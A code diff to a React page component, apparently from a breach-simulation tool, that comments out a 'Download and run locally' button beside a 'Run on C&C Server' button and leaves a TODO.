@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
|
|||
Run on C&C Server
|
||||
{ this.renderIconByState(this.state.runningOnIslandState) }
|
||||
</button>
|
||||
<a
|
||||
className="btn btn-default"
|
||||
disabled={this.state.runningOnClientState !== 'not_running'}
|
||||
style={{'marginLeft': '1em'}}>
|
||||
Download and run locally
|
||||
{ this.renderIconByState(this.state.runningOnClientState) }
|
||||
</a>
|
||||
{
|
||||
// TODO: implement button functionality
|
||||
/*
|
||||
<button
|
||||
className="btn btn-default"
|
||||
disabled={this.state.runningOnClientState !== 'not_running'}
|
||||
style={{'marginLeft': '1em'}}>
|
||||
Download and run locally
|
||||
{ this.renderIconByState(this.state.runningOnClientState) }
|
||||
</button>
|
||||
*/
|
||||
}
|
||||
</p>
|
||||
<div className="run-monkey-snippets" style={{'marginBottom': '3em'}}>
|
||||
<p>
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 2.5 KiB |
Loading…
Reference in New Issue